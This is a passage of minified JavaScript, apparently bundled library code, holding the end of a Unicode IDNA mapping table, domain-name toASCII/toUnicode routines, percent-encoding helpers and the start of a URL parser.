1,"ل"],[126604,1,"م"],[126605,1,"ن"],[126606,1,"س"],[126607,1,"ع"],[126608,1,"ف"],[126609,1,"ص"],[126610,1,"ق"],[126611,1,"ر"],[126612,1,"ش"],[126613,1,"ت"],[126614,1,"ث"],[126615,1,"خ"],[126616,1,"ذ"],[126617,1,"ض"],[126618,1,"ظ"],[126619,1,"غ"],[[126620,126624],3],[126625,1,"ب"],[126626,1,"ج"],[126627,1,"د"],[126628,3],[126629,1,"و"],[126630,1,"ز"],[126631,1,"ح"],[126632,1,"ط"],[126633,1,"ي"],[126634,3],[126635,1,"ل"],[126636,1,"م"],[126637,1,"ن"],[126638,1,"س"],[126639,1,"ع"],[126640,1,"ف"],[126641,1,"ص"],[126642,1,"ق"],[126643,1,"ر"],[126644,1,"ش"],[126645,1,"ت"],[126646,1,"ث"],[126647,1,"خ"],[126648,1,"ذ"],[126649,1,"ض"],[126650,1,"ظ"],[126651,1,"غ"],[[126652,126703],3],[[126704,126705],2],[[126706,126975],3],[[126976,127019],2],[[127020,127023],3],[[127024,127123],2],[[127124,127135],3],[[127136,127150],2],[[127151,127152],3],[[127153,127166],2],[127167,2],[127168,3],[[127169,127183],2],[127184,3],[[127185,127199],2],[[127200,127221],2],[[127222,127231],3],[127232,3],[127233,1,"0,"],[127234,1,"1,"],[127235,1,"2,"],[127236,1,"3,"],[127237,1,"4,"],[127238,1,"5,"],[127239,1,"6,"],[127240,1,"7,"],[127241,1,"8,"],[127242,1,"9,"],[[127243,127244],2],[[127245,127247],2],[127248,1,"(a)"],[127249,1,"(b)"],[127250,1,"(c)"],[127251,1,"(d)"],[127252,1,"(e)"],[127253,1,"(f)"],[127254,1,"(g)"],[127255,1,"(h)"],[127256,1,"(i)"],[127257,1,"(j)"],[127258,1,"(k)"],[127259,1,"(l)"],[127260,1,"(m)"],[127261,1,"(n)"],[127262,1,"(o)"],[127263,1,"(p)"],[127264,1,"(q)"],[127265,1,"(r)"],[127266,1,"(s)"],[127267,1,"(t)"],[127268,1,"(u)"],[127269,1,"(v)"],[127270,1,"(w)"],[127271,1,"(x)"],[127272,1,"(y)"],[127273,1,"(z)"],[127274,1,"〔s〕"],[127275,1,"c"],[127276,1,"r"],[127277,1,"cd"],[127278,1,"wz"],[127279,2],[127280,1,"a"],[127281,1,"b"],[127282,1,"c"],[127283,1,"d"],[127284,1,"e"],[127285,1,"f"],[127286,1,"g"],[127287,1,"h"],[127288,1,"i"],[127289,1,"j"],[127290,1,"k"],[127291,1,"l"],[127292,1,"m"],[127293,1,"n"],[127294,1,"o"],[127295,1,"p"],[127296,1,"q"],[127297,1,"r"],[127298,1,"s"],[127299,1,"t"],[127300,1,"u"],[127301,1,"v"],[127302,1,"w"],[127303,1,"x"],[127304,1,"y"],[127305,1,"z"],[127306,1,"hv"],[127307,1,"mv"],[127308,1,"sd"],[127309,1,"ss"],[127310,1,"ppv"],[127311,1,"wc"],[[127312,127318],2],[127319,2],[[127320,127326],2],[127327,2],[[127328,127337],2],[127338,1,"mc"],[127339,1,"md"],[127340,1,"mr"],[[127341,127343],2],[[127344,127352],2],[127353,2],[127354,2],[[127355,127356],2],[[127357,127358],2],[127359,2],[[127360,127369],2],[[127370,127373],2],[[127374,127375],2],[127376,1,"dj"],[[127377,127386],2],[[127387,127404],2],[127405,2],[[127406,127461],3],[[127462,127487],2],[127488,1,"ほか"],[127489,1,"ココ"],[127490,1,"サ"],[[127491,127503],3],[127504,1,"手"],[127505,1,"字"],[127506,1,"双"],[127507,1,"デ"],[127508,1,"二"],[127509,1,"多"],[127510,1,"解"],[127511,1,"天"],[127512,1,"交"],[127513,1,"映"],[127514,1,"無"],[127515,1,"料"],[127516,1,"前"],[127517,1,"後"],[127518,1,"再"],[127519,1,"新"],[127520,1,"初"],[127521,1,"終"],[127522,1,"生"],[127523,1,"販"],[127524,1,"声"],[127525,1,"吹"],[127526,1,"演"],[127527,1,"投"],[127528,1,"捕"],[127529,1,"一"],[127530,1,"三"],[127531,1,"遊"],[127532,1,"左"],[127533,1,"中"],[127534,1,"右"],[127535,1,"指"],[127536,1,"走"],[127537,1,"打"],[127538,1,"禁"],[127539,1,"空"],[127540,1,"合"],[127541,1,"満"],[127542,1,"有"],[127543,1,"月"],[127544,1,"申"],[127545,1,"割"],[127546,1,"営"],[127547,1,"配"],[[127548,127551],3],[127552,1,"〔本〕"],[127553,1,"〔三〕"],[127554,1,"〔二〕"],[127555,1,"〔安〕"],[127556,1,"〔点〕"],[127557,1,"〔打〕"],[127558,1,"〔盗〕"],[127559,1,"〔勝〕"],[127560,1,"〔敗〕"],[[127561,127567],3],[127568,1,"得"],[127569,1,"可"],[[127570,127583],3],[[127584,127589],2],[[127590,127743],3],[[127744,127776],2],[[127777,127788],2],[[127789,127791],2],[[127792,127797],2],[127798,2],[[127799,127868],2],[127869,2],[[127870,127871],2],[[127872,127891],2],[[127892,127903],2],[[127904,127940],2],[127941,2],[[127942,127946],2],[[127947,127950],2],[[127951,127955],2],[[127956,127967],2],[[127968,127984],2],[[127985,127991],2],[[127992,127999],2],[[128000,128062],2],[128063,2],[128064,2],[128065,2],[[128066,128247],2],[128248,2],[[128249,128252],2],[[128253,128254],2],[128255,2],[[128256,128317],2],[[128318,128319],2],[[128320,128323],2],[[128324,128330],2],[[128331,128335],2],[[128336,128359],2],[[128360,128377],2],[128378,2],[[128379,128419],2],[128420,2],[[128421,128506],2],[[128507,128511],2],[128512,2],[[128513,128528],2],[128529,2],[[128530,128532],2],[128533,2],[128534,2],[128535,2],[128536,2],[128537,2],[128538,2],[128539,2],[[128540,128542],2],[128543,2],[[128544,128549],2],[[128550,128551],2],[[128552,128555],2],[128556,2],[128557,2],[[128558,128559],2],[[128560,128563],2],[128564,2],[[128565,128576],2],[[128577,128578],2],[[128579,128580],2],[[128581,128591],2],[[128592,128639],2],[[128640,128709],2],[[128710,128719],2],[128720,2],[[128721,128722],2],[[128723,128724],2],[128725,2],[[128726,128727],2],[[128728,128731],3],[128732,2],[[128733,128735],2],[[128736,128748],2],[[128749,128751],3],[[128752,128755],2],[[128756,128758],2],[[128759,128760],2],[128761,2],[128762,2],[[128763,128764],2],[[128765,128767],3],[[128768,128883],2],[[128884,128886],2],[[128887,128890],3],[[128891,128895],2],[[128896,128980],2],[[128981,128984],2],[128985,2],[[128986,128991],3],[[128992,129003],2],[[129004,129007],3],[129008,2],[[129009,129023],3],[[129024,129035],2],[[129036,129039],3],[[129040,129095],2],[[129096,129103],3],[[129104,129113],2],[[129114,129119],3],[[129120,129159],2],[[129160,129167],3],[[129168,129197],2],[[129198,129199],3],[[129200,129201],2],[[129202,129211],2],[[129212,129215],3],[[129216,129217],2],[[129218,129279],3],[[129280,129291],2],[129292,2],[[129293,129295],2],[[129296,129304],2],[[129305,129310],2],[129311,2],[[129312,129319],2],[[129320,129327],2],[129328,2],[[129329,129330],2],[[129331,129342],2],[129343,2],[[129344,129355],2],[129356,2],[[129357,129359],2],[[129360,129374],2],[[129375,129387],2],[[129388,129392],2],[129393,2],[129394,2],[[129395,129398],2],[[129399,129400],2],[129401,2],[129402,2],[129403,2],[[129404,129407],2],[[129408,129412],2],[[129413,129425],2],[[129426,129431],2],[[129432,129442],2],[[129443,129444],2],[[129445,129450],2],[[129451,129453],2],[[129454,129455],2],[[129456,129465],2],[[129466,129471],2],[129472,2],[[129473,129474],2],[[129475,129482],2],[129483,2],[129484,2],[[129485,129487],2],[[129488,129510],2],[[129511,129535],2],[[129536,129619],2],[[129620,129631],3],[[129632,129645],2],[[129646,129647],3],[[129648,129651],2],[129652,2],[[129653,129655],2],[[129656,129658],2],[[129659,129660],2],[[129661,129663],3],[[129664,129666],2],[[129667,129670],2],[[129671,129672],2],[129673,2],[[129674,129678],3],[129679,2],[[129680,129685],2],[[129686,129704],2],[[129705,129708],2],[[129709,129711],2],[[129712,129718],2],[[129719,129722],2],[[129723,129725],2],[129726,2],[129727,2],[[129728,129730],2],[[129731,129733],2],[129734,2],[[129735,129741],3],[[129742,129743],2],[[129744,129750],2],[[129751,129753],2],[[129754,129755],2],[129756,2],[[129757,129758],3],[129759,2],[[129760,129767],2],[129768,2],[129769,2],[[129770,129775],3],[[129776,129782],2],[[129783,129784],2],[[129785,129791],3],[[129792,129938],2],[129939,3],[[129940,129994],2],[[129995,130031],2],[130032,1,"0"],[130033,1,"1"],[130034,1,"2"],[130035,1,"3"],[130036,1,"4"],[130037,1,"5"],[130038,1,"6"],[130039,1,"7"],[130040,1,"8"],[130041,1,"9"],[[130042,131069],3],[[131070,131071],3],[[131072,173782],2],[[173783,173789],2],[[173790,173791],2],[[173792,173823],3],[[173824,177972],2],[[177973,177976],2],[177977,2],[[177978,177983],3],[[177984,178205],2],[[178206,178207],3],[[178208,183969],2],[[183970,183983],3],[[183984,191456],2],[[191457,191471],3],[[191472,192093],2],[[192094,194559],3],[194560,1,"丽"],[194561,1,"丸"],[194562,1,"乁"],[194563,1,"𠄢"],[194564,1,"你"],[194565,1,"侮"],[194566,1,"侻"],[194567,1,"倂"],[194568,1,"偺"],[194569,1,"備"],[194570,1,"僧"],[194571,1,"像"],[194572,1,"㒞"],[194573,1,"𠘺"],[194574,1,"免"],[194575,1,"兔"],[194576,1,"兤"],[194577,1,"具"],[194578,1,"𠔜"],[194579,1,"㒹"],[194580,1,"內"],[194581,1,"再"],[194582,1,"𠕋"],[194583,1,"冗"],[194584,1,"冤"],[194585,1,"仌"],[194586,1,"冬"],[194587,1,"况"],[194588,1,"𩇟"],[194589,1,"凵"],[194590,1,"刃"],[194591,1,"㓟"],[194592,1,"刻"],[194593,1,"剆"],[194594,1,"割"],[194595,1,"剷"],[194596,1,"㔕"],[194597,1,"勇"],[194598,1,"勉"],[194599,1,"勤"],[194600,1,"勺"],[194601,1,"包"],[194602,1,"匆"],[194603,1,"北"],[194604,1,"卉"],[194605,1,"卑"],[194606,1,"博"],[194607,1,"即"],[194608,1,"卽"],[[194609,194611],1,"卿"],[194612,1,"𠨬"],[194613,1,"灰"],[194614,1,"及"],[194615,1,"叟"],[194616,1,"𠭣"],[194617,1,"叫"],[194618,1,"叱"],[194619,1,"吆"],[194620,1,"咞"],[194621,1,"吸"],[194622,1,"呈"],[194623,1,"周"],[194624,1,"咢"],[194625,1,"哶"],[194626,1,"唐"],[194627,1,"啓"],[194628,1,"啣"],[[194629,194630],1,"善"],[194631,1,"喙"],[194632,1,"喫"],[194633,1,"喳"],[194634,1,"嗂"],[194635,1,"圖"],[194636,1,"嘆"],[194637,1,"圗"],[194638,1,"噑"],[194639,1,"噴"],[194640,1,"切"],[194641,1,"壮"],[194642,1,"城"],[194643,1,"埴"],[194644,1,"堍"],[194645,1,"型"],[194646,1,"堲"],[194647,1,"報"],[194648,1,"墬"],[194649,1,"𡓤"],[194650,1,"売"],[194651,1,"壷"],[194652,1,"夆"],[194653,1,"多"],[194654,1,"夢"],[194655,1,"奢"],[194656,1,"𡚨"],[194657,1,"𡛪"],[194658,1,"姬"],[194659,1,"娛"],[194660,1,"娧"],[194661,1,"姘"],[194662,1,"婦"],[194663,1,"㛮"],[194664,1,"㛼"],[194665,1,"嬈"],[[194666,194667],1,"嬾"],[194668,1,"𡧈"],[194669,1,"寃"],[194670,1,"寘"],[194671,1,"寧"],[194672,1,"寳"],[194673,1,"𡬘"],[194674,1,"寿"],[194675,1,"将"],[194676,1,"当"],[194677,1,"尢"],[194678,1,"㞁"],[194679,1,"屠"],[194680,1,"屮"],[194681,1,"峀"],[194682,1,"岍"],[194683,1,"𡷤"],[194684,1,"嵃"],[194685,1,"𡷦"],[194686,1,"嵮"],[194687,1,"嵫"],[194688,1,"嵼"],[194689,1,"巡"],[194690,1,"巢"],[194691,1,"㠯"],[194692,1,"巽"],[194693,1,"帨"],[194694,1,"帽"],[194695,1,"幩"],[194696,1,"㡢"],[194697,1,"𢆃"],[194698,1,"㡼"],[194699,1,"庰"],[194700,1,"庳"],[194701,1,"庶"],[194702,1,"廊"],[194703,1,"𪎒"],[194704,1,"廾"],[[194705,194706],1,"𢌱"],[194707,1,"舁"],[[194708,194709],1,"弢"],[194710,1,"㣇"],[194711,1,"𣊸"],[194712,1,"𦇚"],[194713,1,"形"],[194714,1,"彫"],[194715,1,"㣣"],[194716,1,"徚"],[194717,1,"忍"],[194718,1,"志"],[194719,1,"忹"],[194720,1,"悁"],[194721,1,"㤺"],[194722,1,"㤜"],[194723,1,"悔"],[194724,1,"𢛔"],[194725,1,"惇"],[194726,1,"慈"],[194727,1,"慌"],[194728,1,"慎"],[194729,1,"慌"],[194730,1,"慺"],[194731,1,"憎"],[194732,1,"憲"],[194733,1,"憤"],[194734,1,"憯"],[194735,1,"懞"],[194736,1,"懲"],[194737,1,"懶"],[194738,1,"成"],[194739,1,"戛"],[194740,1,"扝"],[194741,1,"抱"],[194742,1,"拔"],[194743,1,"捐"],[194744,1,"𢬌"],[194745,1,"挽"],[194746,1,"拼"],[194747,1,"捨"],[194748,1,"掃"],[194749,1,"揤"],[194750,1,"𢯱"],[194751,1,"搢"],[194752,1,"揅"],[194753,1,"掩"],[194754,1,"㨮"],[194755,1,"摩"],[194756,1,"摾"],[194757,1,"撝"],[194758,1,"摷"],[194759,1,"㩬"],[194760,1,"敏"],[194761,1,"敬"],[194762,1,"𣀊"],[194763,1,"旣"],[194764,1,"書"],[194765,1,"晉"],[194766,1,"㬙"],[194767,1,"暑"],[194768,1,"㬈"],[194769,1,"㫤"],[194770,1,"冒"],[194771,1,"冕"],[194772,1,"最"],[194773,1,"暜"],[194774,1,"肭"],[194775,1,"䏙"],[194776,1,"朗"],[194777,1,"望"],[194778,1,"朡"],[194779,1,"杞"],[194780,1,"杓"],[194781,1,"𣏃"],[194782,1,"㭉"],[194783,1,"柺"],[194784,1,"枅"],[194785,1,"桒"],[194786,1,"梅"],[194787,1,"𣑭"],[194788,1,"梎"],[194789,1,"栟"],[194790,1,"椔"],[194791,1,"㮝"],[194792,1,"楂"],[194793,1,"榣"],[194794,1,"槪"],[194795,1,"檨"],[194796,1,"𣚣"],[194797,1,"櫛"],[194798,1,"㰘"],[194799,1,"次"],[194800,1,"𣢧"],[194801,1,"歔"],[194802,1,"㱎"],[194803,1,"歲"],[194804,1,"殟"],[194805,1,"殺"],[194806,1,"殻"],[194807,1,"𣪍"],[194808,1,"𡴋"],[194809,1,"𣫺"],[194810,1,"汎"],[194811,1,"𣲼"],[194812,1,"沿"],[194813,1,"泍"],[194814,1,"汧"],[194815,1,"洖"],[194816,1,"派"],[194817,1,"海"],[194818,1,"流"],[194819,1,"浩"],[194820,1,"浸"],[194821,1,"涅"],[194822,1,"𣴞"],[194823,1,"洴"],[194824,1,"港"],[194825,1,"湮"],[194826,1,"㴳"],[194827,1,"滋"],[194828,1,"滇"],[194829,1,"𣻑"],[194830,1,"淹"],[194831,1,"潮"],[194832,1,"𣽞"],[194833,1,"𣾎"],[194834,1,"濆"],[194835,1,"瀹"],[194836,1,"瀞"],[194837,1,"瀛"],[194838,1,"㶖"],[194839,1,"灊"],[194840,1,"災"],[194841,1,"灷"],[194842,1,"炭"],[194843,1,"𠔥"],[194844,1,"煅"],[194845,1,"𤉣"],[194846,1,"熜"],[194847,1,"𤎫"],[194848,1,"爨"],[194849,1,"爵"],[194850,1,"牐"],[194851,1,"𤘈"],[194852,1,"犀"],[194853,1,"犕"],[194854,1,"𤜵"],[194855,1,"𤠔"],[194856,1,"獺"],[194857,1,"王"],[194858,1,"㺬"],[194859,1,"玥"],[[194860,194861],1,"㺸"],[194862,1,"瑇"],[194863,1,"瑜"],[194864,1,"瑱"],[194865,1,"璅"],[194866,1,"瓊"],[194867,1,"㼛"],[194868,1,"甤"],[194869,1,"𤰶"],[194870,1,"甾"],[194871,1,"𤲒"],[194872,1,"異"],[194873,1,"𢆟"],[194874,1,"瘐"],[194875,1,"𤾡"],[194876,1,"𤾸"],[194877,1,"𥁄"],[194878,1,"㿼"],[194879,1,"䀈"],[194880,1,"直"],[194881,1,"𥃳"],[194882,1,"𥃲"],[194883,1,"𥄙"],[194884,1,"𥄳"],[194885,1,"眞"],[[194886,194887],1,"真"],[194888,1,"睊"],[194889,1,"䀹"],[194890,1,"瞋"],[194891,1,"䁆"],[194892,1,"䂖"],[194893,1,"𥐝"],[194894,1,"硎"],[194895,1,"碌"],[194896,1,"磌"],[194897,1,"䃣"],[194898,1,"𥘦"],[194899,1,"祖"],[194900,1,"𥚚"],[194901,1,"𥛅"],[194902,1,"福"],[194903,1,"秫"],[194904,1,"䄯"],[194905,1,"穀"],[194906,1,"穊"],[194907,1,"穏"],[194908,1,"𥥼"],[[194909,194910],1,"𥪧"],[194911,1,"竮"],[194912,1,"䈂"],[194913,1,"𥮫"],[194914,1,"篆"],[194915,1,"築"],[194916,1,"䈧"],[194917,1,"𥲀"],[194918,1,"糒"],[194919,1,"䊠"],[194920,1,"糨"],[194921,1,"糣"],[194922,1,"紀"],[194923,1,"𥾆"],[194924,1,"絣"],[194925,1,"䌁"],[194926,1,"緇"],[194927,1,"縂"],[194928,1,"繅"],[194929,1,"䌴"],[194930,1,"𦈨"],[194931,1,"𦉇"],[194932,1,"䍙"],[194933,1,"𦋙"],[194934,1,"罺"],[194935,1,"𦌾"],[194936,1,"羕"],[194937,1,"翺"],[194938,1,"者"],[194939,1,"𦓚"],[194940,1,"𦔣"],[194941,1,"聠"],[194942,1,"𦖨"],[194943,1,"聰"],[194944,1,"𣍟"],[194945,1,"䏕"],[194946,1,"育"],[194947,1,"脃"],[194948,1,"䐋"],[194949,1,"脾"],[194950,1,"媵"],[194951,1,"𦞧"],[194952,1,"𦞵"],[194953,1,"𣎓"],[194954,1,"𣎜"],[194955,1,"舁"],[194956,1,"舄"],[194957,1,"辞"],[194958,1,"䑫"],[194959,1,"芑"],[194960,1,"芋"],[194961,1,"芝"],[194962,1,"劳"],[194963,1,"花"],[194964,1,"芳"],[194965,1,"芽"],[194966,1,"苦"],[194967,1,"𦬼"],[194968,1,"若"],[194969,1,"茝"],[194970,1,"荣"],[194971,1,"莭"],[194972,1,"茣"],[194973,1,"莽"],[194974,1,"菧"],[194975,1,"著"],[194976,1,"荓"],[194977,1,"菊"],[194978,1,"菌"],[194979,1,"菜"],[194980,1,"𦰶"],[194981,1,"𦵫"],[194982,1,"𦳕"],[194983,1,"䔫"],[194984,1,"蓱"],[194985,1,"蓳"],[194986,1,"蔖"],[194987,1,"𧏊"],[194988,1,"蕤"],[194989,1,"𦼬"],[194990,1,"䕝"],[194991,1,"䕡"],[194992,1,"𦾱"],[194993,1,"𧃒"],[194994,1,"䕫"],[194995,1,"虐"],[194996,1,"虜"],[194997,1,"虧"],[194998,1,"虩"],[194999,1,"蚩"],[195000,1,"蚈"],[195001,1,"蜎"],[195002,1,"蛢"],[195003,1,"蝹"],[195004,1,"蜨"],[195005,1,"蝫"],[195006,1,"螆"],[195007,1,"䗗"],[195008,1,"蟡"],[195009,1,"蠁"],[195010,1,"䗹"],[195011,1,"衠"],[195012,1,"衣"],[195013,1,"𧙧"],[195014,1,"裗"],[195015,1,"裞"],[195016,1,"䘵"],[195017,1,"裺"],[195018,1,"㒻"],[195019,1,"𧢮"],[195020,1,"𧥦"],[195021,1,"䚾"],[195022,1,"䛇"],[195023,1,"誠"],[195024,1,"諭"],[195025,1,"變"],[195026,1,"豕"],[195027,1,"𧲨"],[195028,1,"貫"],[195029,1,"賁"],[195030,1,"贛"],[195031,1,"起"],[195032,1,"𧼯"],[195033,1,"𠠄"],[195034,1,"跋"],[195035,1,"趼"],[195036,1,"跰"],[195037,1,"𠣞"],[195038,1,"軔"],[195039,1,"輸"],[195040,1,"𨗒"],[195041,1,"𨗭"],[195042,1,"邔"],[195043,1,"郱"],[195044,1,"鄑"],[195045,1,"𨜮"],[195046,1,"鄛"],[195047,1,"鈸"],[195048,1,"鋗"],[195049,1,"鋘"],[195050,1,"鉼"],[195051,1,"鏹"],[195052,1,"鐕"],[195053,1,"𨯺"],[195054,1,"開"],[195055,1,"䦕"],[195056,1,"閷"],[195057,1,"𨵷"],[195058,1,"䧦"],[195059,1,"雃"],[195060,1,"嶲"],[195061,1,"霣"],[195062,1,"𩅅"],[195063,1,"𩈚"],[195064,1,"䩮"],[195065,1,"䩶"],[195066,1,"韠"],[195067,1,"𩐊"],[195068,1,"䪲"],[195069,1,"𩒖"],[[195070,195071],1,"頋"],[195072,1,"頩"],[195073,1,"𩖶"],[195074,1,"飢"],[195075,1,"䬳"],[195076,1,"餩"],[195077,1,"馧"],[195078,1,"駂"],[195079,1,"駾"],[195080,1,"䯎"],[195081,1,"𩬰"],[195082,1,"鬒"],[195083,1,"鱀"],[195084,1,"鳽"],[195085,1,"䳎"],[195086,1,"䳭"],[195087,1,"鵧"],[195088,1,"𪃎"],[195089,1,"䳸"],[195090,1,"𪄅"],[195091,1,"𪈎"],[195092,1,"𪊑"],[195093,1,"麻"],[195094,1,"䵖"],[195095,1,"黹"],[195096,1,"黾"],[195097,1,"鼅"],[195098,1,"鼏"],[195099,1,"鼖"],[195100,1,"鼻"],[195101,1,"𪘀"],[[195102,196605],3],[[196606,196607],3],[[196608,201546],2],[[201547,201551],3],[[201552,205743],2],[[205744,262141],3],[[262142,262143],3],[[262144,327677],3],[[327678,327679],3],[[327680,393213],3],[[393214,393215],3],[[393216,458749],3],[[458750,458751],3],[[458752,524285],3],[[524286,524287],3],[[524288,589821],3],[[589822,589823],3],[[589824,655357],3],[[655358,655359],3],[[655360,720893],3],[[720894,720895],3],[[720896,786429],3],[[786430,786431],3],[[786432,851965],3],[[851966,851967],3],[[851968,917501],3],[[917502,917503],3],[917504,3],[917505,3],[[917506,917535],3],[[917536,917631],3],[[917632,917759],3],[[917760,917999],7],[[918000,983037],3],[[983038,983039],3],[[983040,1048573],3],[[1048574,1048575],3],[[1048576,1114109],3],[[1114110,1114111],3]]});var dl4=v((Di9,pl4)=>{Di9.STATUS_MAPPING={mapped:1,valid:2,disallowed:3,deviation:6,ignored:7}});var rl4=v((uNw,nl4)=>{var gw6=gl4(),HC=Ql4(),cl4=Ul4(),{STATUS_MAPPING:zo}=dl4();function mw6(A){return/[^\x00-\x7F]/u.test(A)}function ll4(A){let K=0,q=cl4.length-1;while(K<=q){let Y=Math.floor((K+q)/2),z=cl4[Y],w=Array.isArray(z[0])?z[0][0]:z[0],H=Array.isArray(z[0])?z[0][1]:z[0];if(w<=A&&H>=A)return z.slice(1);else if(w>A)q=Y-1;else K=Y+1}return null}function Mi9(A,{transitionalProcessing:K}){let q="";for(let Y of A){let[z,w]=ll4(Y.codePointAt(0));switch(z){case zo.disallowed:q+=Y;break;case zo.ignored:break;case zo.mapped:if(K&&Y==="ẞ")q+="ss";else q+=w;break;case zo.deviation:if(K)q+=w;else q+=Y;break;case zo.valid:q+=Y;break}}return q}function Pi9(A,{checkHyphens:K,checkBidi:q,checkJoiners:Y,transitionalProcessing:z,useSTD3ASCIIRules:w,isBidi:H}){if(A.length===0)return!0;if(A.normalize("NFC")!==A)return!1;let J=Array.from(A);if(K){if(J[2]==="-"&&J[3]==="-"||(A.startsWith("-")||A.endsWith("-")))return!1}if(!K){if(A.startsWith("xn--"))return!1}if(A.includes("."))return!1;if(HC.combiningMarks.test(J[0]))return!1;for(let O of J){let X=O.codePointAt(0),[$]=ll4(X);if(z){if($!==zo.valid)return!1}else if($!==zo.valid&&$!==zo.deviation)return!1;if(w&&X<=127){if(!/^(?:[a-z]|[0-9]|-)$/u.test(O))return!1}}if(Y){let O=0;for(let[X,$]of J.entries())if($===""||$===""){if(X>0){if(HC.combiningClassVirama.test(J[X-1]))continue;if($===""){let _=J.indexOf("",X+1),G=_<0?J.slice(O):J.slice(O,_);if(HC.validZWNJ.test(G.join(""))){O=X+1;continue}}}return!1}}if(q&&H){let O;if(HC.bidiS1LTR.test(J[0]))O=!1;else if(HC.bidiS1RTL.test(J[0]))O=!0;else return!1;if(O){if(!HC.bidiS2.test(A)||!HC.bidiS3.test(A)||HC.bidiS4EN.test(A)&&HC.bidiS4AN.test(A))return!1}else if(!HC.bidiS5.test(A)||!HC.bidiS6.test(A))return!1}return!0}function Vi9(A){let K=A.map((q)=>{if(q.startsWith("xn--"))try{return gw6.decode(q.substring(4))}catch{return""}return q}).join(".");return HC.bidiDomain.test(K)}function il4(A,K){let q=Mi9(A,K);q=q.normalize("NFC");let Y=q.split("."),z=Vi9(Y),w=!1;for(let[H,J]of Y.entries()){let O=J,X=K.transitionalProcessing;if(O.startsWith("xn--")){if(mw6(O)){w=!0;continue}try{O=gw6.decode(O.substring(4))}catch{if(!K.ignoreInvalidPunycode){w=!0;continue}}if(Y[H]=O,O===""||!mw6(O))w=!0;X=!1}if(w)continue;if(!Pi9(O,{...K,transitionalProcessing:X,isBidi:z}))w=!0}return{string:Y.join("."),error:w}}function fi9(A,{checkHyphens:K=!1,checkBidi:q=!1,checkJoiners:Y=!1,useSTD3ASCIIRules:z=!1,verifyDNSLength:w=!1,transitionalProcessing:H=!1,ignoreInvalidPunycode:J=!1}={}){let O=il4(A,{checkHyphens:K,checkBidi:q,checkJoiners:Y,useSTD3ASCIIRules:z,transitionalProcessing:H,ignoreInvalidPunycode:J}),X=O.string.split(".");if(X=X.map(($)=>{if(mw6($))try{return`xn--${gw6.encode($)}`}catch{O.error=!0}return $}),w){let $=X.join(".").length;if($>253||$===0)O.error=!0;for(let _=0;_<X.length;++_)if(X[_].length>63||X[_].length===0){O.error=!0;break}}if(O.error)return null;return X.join(".")}function Ni9(A,{checkHyphens:K=!1,checkBidi:q=!1,checkJoiners:Y=!1,useSTD3ASCIIRules:z=!1,transitionalProcessing:w=!1,ignoreInvalidPunycode:H=!1}={}){let J=il4(A,{checkHyphens:K,checkBidi:q,checkJoiners:Y,useSTD3ASCIIRules:z,transitionalProcessing:w,ignoreInvalidPunycode:H});return{domain:J.string,error:J.error}}nl4.exports={toASCII:fi9,toUnicode:Ni9}});var Qw6=v((BNw,al4)=>{function Fw6(A){return A>=48&&A<=57}function ol4(A){return A>=65&&A<=90||A>=97&&A<=122}function Ti9(A){return ol4(A)||Fw6(A)}function vi9(A){return Fw6(A)||A>=65&&A<=70||A>=97&&A<=102}al4.exports={isASCIIDigit:Fw6,isASCIIAlpha:ol4,isASCIIAlphanumeric:Ti9,isASCIIHex:vi9}});var yz1=v((mNw,sl4)=>{var Ei9=new TextEncoder,ki9=new TextDecoder("utf-8",{ignoreBOM:!0});function Ci9(A){return Ei9.encode(A)}function Li9(A){return ki9.decode(A)}sl4.exports={utf8Encode:Ci9,utf8DecodeWithoutBOM:Li9}});var Iz1=v((gNw,zi4)=>{var{isASCIIHex:tl4}=Qw6(),{utf8Encode:el4}=yz1();function HY(A){return A.codePointAt(0)}function Ri9(A){let K=A.toString(16).toUpperCase();if(K.length===1)K=`0${K}`;return`%${K}`}function Ai4(A){let K=new Uint8Array(A.byteLength),q=0;for(let Y=0;Y<A.byteLength;++Y){let z=A[Y];if(z!==37)K[q++]=z;else if(z===37&&(!tl4(A[Y+1])||!tl4(A[Y+2])))K[q++]=z;else{let w=parseInt(String.fromCodePoint(A[Y+1],A[Y+2]),16);K[q++]=w,Y+=2}}return K.slice(0,q)}function yi9(A){let K=el4(A);return Ai4(K)}function Uw6(A){return A<=31||A>126}var Ii9=new Set([HY(" "),HY('"'),HY("<"),HY(">"),HY("`")]);function Si9(A){return Uw6(A)||Ii9.has(A)}var hi9=new Set([HY(" "),HY('"'),HY("#"),HY("<"),HY(">")]);function pw6(A){return Uw6(A)||hi9.has(A)}function bi9(A){return pw6(A)||A===HY("'")}var xi9=new Set([HY("?"),HY("`"),HY("{"),HY("}"),HY("^")]);function Ki4(A){return pw6(A)||xi9.has(A)}var ui9=new Set([HY("/"),HY(":"),HY(";"),HY("="),HY("@"),HY("["),HY("\\"),HY("]"),HY("|")]);function qi4(A){return Ki4(A)||ui9.has(A)}var Bi9=new Set([HY("$"),HY("%"),HY("&"),HY("+"),HY(",")]);function mi9(A){return qi4(A)||Bi9.has(A)}var gi9=new Set([HY("!"),HY("'"),HY("("),HY(")"),HY("~")]);function Fi9(A){return mi9(A)||gi9.has(A)}function Yi4(A,K){let q=el4(A),Y="";for(let z of q)if(!K(z))Y+=String.fromCharCode(z);else Y+=Ri9(z);return Y}function Qi9(A,K){return Yi4(String.fromCodePoint(A),K)}function Ui9(A,K,q=!1){let Y="";for(let z of A)if(q&&z===" ")Y+="+";else Y+=Yi4(z,K);return Y}zi4.exports={isC0ControlPercentEncode:Uw6,isFragmentPercentEncode:Si9,isQueryPercentEncode:pw6,isSpecialQueryPercentEncode:bi9,isPathPercentEncode:Ki4,isUserinfoPercentEncode:qi4,isURLEncodedPercentEncode:Fi9,percentDecodeString:yi9,percentDecodeBytes:Ai4,utf8PercentEncodeString:Ui9,utf8PercentEncodeCodePoint:Qi9}});var rw6=v((Wn9,PM)=>{var pi9=rl4(),UZ=Qw6(),{utf8DecodeWithoutBOM:di9}=yz1(),{percentDecodeString:ci9,utf8PercentEncodeCodePoint:hz1,utf8PercentEncodeString:bz1,isC0ControlPercentEncode:Xi4,isFragmentPercentEncode:li9,isQueryPercentEncode:ii9,isSpecialQueryPercentEncode:ni9,isPathPercentEncode:ri9,isUserinfoPercentEncode:lw6}=Iz1();function s8(A){return A.codePointAt(0)}var $i4={ftp:21,file:null,http:80,https:443,ws:80,wss:443},U5=Symbol("failure");function wi4(A){return[...A].length}function Hi4(A,K){let q=A[K];return isNaN(q)?void 0:String.fromCodePoint(q)}function Ji4(A){return A==="."||A.toLowerCase()==="%2e"}function oi9(A){return A=A.toLowerCase(),A===".."||A==="%2e."||A===".%2e"||A==="%2e%2e"}function ai9(A,K){return 